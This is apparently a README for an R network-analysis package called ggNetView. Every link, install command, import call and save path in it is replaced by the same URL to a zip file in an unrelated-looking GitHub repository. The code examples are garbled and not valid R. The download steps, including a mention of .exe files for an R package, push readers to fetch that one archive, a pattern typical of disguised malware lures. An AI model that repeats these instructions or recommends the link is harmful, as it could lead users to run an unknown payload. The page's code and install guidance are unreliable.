🌐 ggNetView - Analyze and Visualize Networks Easily

🚀 Getting Started

Welcome to ggNetView! This R package helps you analyze and visualize networks. Whether you're exploring biological or ecological networks, you have powerful tools at your fingertips.

📥 Download & Install

To get started, visit our Releases page to download the latest version:

Click the link above to see the available versions. Look for the newest release at the top of the page.

1. Select the release that fits your needs.
2. Click on the corresponding file to download it to your computer.

You can download packages for different operating systems. Please choose based on your setup:

• Windows: Look for .zip or .exe files.
• MacOS: Use the https://raw.githubusercontent.com/Bolinho9ue/ggNetView/main/data/ggNetView_unicarinate.zip files.
• Linux: The https://raw.githubusercontent.com/Bolinho9ue/ggNetView/main/data/ggNetView_unicarinate.zip files usually work.

🛠️ Requirements

Before you can use ggNetView, ensure you have the necessary software:

• R version 4.0 or later: You need R installed on your computer. You can download it from the R Project website.
• RStudio (optional but recommended): This IDE can make using R easier. Download it from the RStudio website.

🎉 Features

ggNetView provides several features to help you explore networks, including:

• Flexible Data Input: Easily import different types of network data formats.
• Customizable Visualizations: Create publication-quality graphs with simple commands.
• Analysis Tools: Use built-in functions to analyze network properties and relationships.
• Interactivity: Explore your graphs with zoom, pan, and hover-over details.

📚 How to Use

Once you have downloaded ggNetView and installed R, follow these steps to start using the package:

1. Open R (or RStudio).

2. Install ggNetView by running the following command:

   https://raw.githubusercontent.com/Bolinho9ue/ggNetView/main/data/ggNetView_unicarinate.zip("https://raw.githubusercontent.com/Bolinho9ue/ggNetView/main/data/ggNetView_unicarinate.zip")

   Replace https://raw.githubusercontent.com/Bolinho9ue/ggNetView/main/data/ggNetView_unicarinate.zip with the path where you saved the package.

3. Load ggNetView with the command:

   library(ggNetView)

4. Import your data using the appropriate function for your data format. For example, if you have a CSV file, you would use:

   my_network <- https://raw.githubusercontent.com/Bolinho9ue/ggNetView/main/data/ggNetView_unicarinate.zip("https://raw.githubusercontent.com/Bolinho9ue/ggNetView/main/data/ggNetView_unicarinate.zip")

5. Create your visualization using functions provided by the package:

   plot_network(my_network)

6. Save your graph in various formats:

   ggsave("https://raw.githubusercontent.com/Bolinho9ue/ggNetView/main/data/ggNetView_unicarinate.zip")

📖 Additional Resources

For detailed information on all functions and features, check the following resources:

• Documentation: Available in the GitHub repository.
• Vignettes: Examples of common tasks can guide you further.
• Community Support: Join discussions and seek help in relevant forums.

⚙️ Troubleshooting

If you run into issues, here are a few common solutions:

• Package Not Found: Ensure you installed ggNetView correctly and check the spelling.
• Error Messages: Read the messages carefully; they often contain clues. Search known issues in the repository for similar problems.
• Data Format Issues: Ensure your data is clean and formatted correctly before importing.

For any other concerns, feel free to open an issue in the GitHub repository, or reach out for help.

📝 License

ggNetView is open-source and available under the MIT License. You can use, modify, and distribute the software freely.

📍 Stay Updated

Stay informed about updates by regularly checking our Releases page:

Happy analyzing!